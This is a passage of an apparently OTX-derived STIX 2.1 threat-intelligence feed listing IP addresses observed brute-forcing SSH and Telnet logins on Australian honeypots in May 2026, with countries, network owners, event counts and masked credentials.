      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): A*******N. Passwords observed (masked): A*****U.",
      "id": "indicator--f394cb1f-5147-45d1-8623-0d8c140f8301",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.184.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 135607. Organisation(s): Infinivan Incorporated.",
      "id": "indicator--513d4f3c-63b1-4d2d-87b0-6f4d2e16fdb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.245.8.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d78b36ef-0375-4f30-94c0-d6b82d59e4c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--c711b74c-e709-4d17-b686-0c28aa0536a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.235.198.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--32980304-e317-4a02-ae83-24d478f8fc13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.244.146.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--d9b5c74f-09c6-4b4e-b6e5-672c57f8d71b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.65.143.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--223d7662-a705-4724-8f54-3ffc4a755c98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.225.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262343. Organisation(s): Net Aki Internet Ltda.",
      "id": "indicator--97ade60a-c4a6-4f26-a153-b0d3e108ad29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.126.135.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52560. Organisation(s): ATK Telecomunicacoes Ltda..",
      "id": "indicator--1d2a08a1-f500-49fa-8703-92091fb06cee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.86.71.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--16b41705-d8c9-4dc3-958b-5f201c2e1773",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.225.67.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 25491. Organisation(s): Basic ISP s.a.r.l..",
      "id": "indicator--760e7ffc-6730-4b3e-80e6-44b996088af9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.104.244.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--3d37761a-bb91-4a2b-9dbe-ad63a02fc3cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.52.173.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--3566722b-b475-4587-99f8-45ee2a3dd887",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.233.64.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, u****u, 3**********4, a***********r, f*****r. Passwords observed (masked): !******x, 1****0, 1****6, 1**3, 1*****y.",
      "id": "indicator--91d859e7-01b5-430b-a6ce-d5a624b3b1f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.64.68.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24445. Organisation(s): Henan Mobile Communications Co.,Ltd.",
      "id": "indicator--54ae8f8a-9ae6-4b74-b3f4-27376217cbbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.164.124.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--961a9d63-fbae-492b-b2ee-942dcd45d1e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.91.137.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--615b2bfa-b38f-4d9b-b491-bd0ebb1f0e9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.190.125.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6698. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--32bca3e1-1cf8-4bae-a2b3-dc0495bfd091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.115.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--4be54399-ad85-4a43-b7e7-f274236fb0ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.145.114.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:15:11.000Z",
      "valid_until": "2026-06-12T13:15:09.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--c823ac1e-c888-43cd-8807-d4555d13b02f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.19.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--b5997d13-1690-48d3-b50a-640200ba4591",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.24.175.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--addd8dba-053c-4e4c-b220-5d5e43215ea3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.227.155.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--5a73c0f3-04e4-4a90-81cf-d831970be20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.195.248.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--adb1e322-071e-432b-8340-fc9f279e46ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.190.85.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c0c5000f-cbe7-4a0e-b92f-607fe8a6d38c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.173.247.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 43022. Organisation(s): Seech-Infocom Ltd..",
      "id": "indicator--68d73578-a34b-4702-ac78-46ac63773851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.93.51.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 60258. Organisation(s): Enginet LLC.",
      "id": "indicator--1dba293d-5edd-4e90-8a76-9413ac120c44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.194.29.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:15:11.000Z",
      "valid_until": "2026-06-12T14:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 37119. Organisation(s): UNITEL.",
      "id": "indicator--74182f14-ca42-428f-ad28-63299ea617dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.175.255.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135269. Organisation(s): Fast 4 Technologies.",
      "id": "indicator--2e29b4c0-8c6d-4d06-9e57-5d3dfdbc2778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.119.202.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--08977e70-fd66-44f0-9d79-f805fc7f2a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.244.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3399. Organisation(s): Obenet AB.",
      "id": "indicator--ac81ef9d-94ca-467d-84a1-b9187c89d66d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.86.105.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 57374. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--34a05059-f1b9-49d4-a68a-00157fc454c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.44.20.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--5c703fac-8054-43da-8e7d-f9124b9a5d09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.158.9.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--beabf8fb-007b-417a-b756-2fb9df0cef06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.35.20.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL). Usernames observed (masked): u****u, a***n, ***, h****r, 3**********4. Passwords observed (masked): 1****6, p******d, 0******0, *, 1*******9.",
      "id": "indicator--16147859-1553-4524-b99a-e96b70af05ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.6.203.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--b0c26694-435e-4912-bc1c-9f82f40c949f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.237.188.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
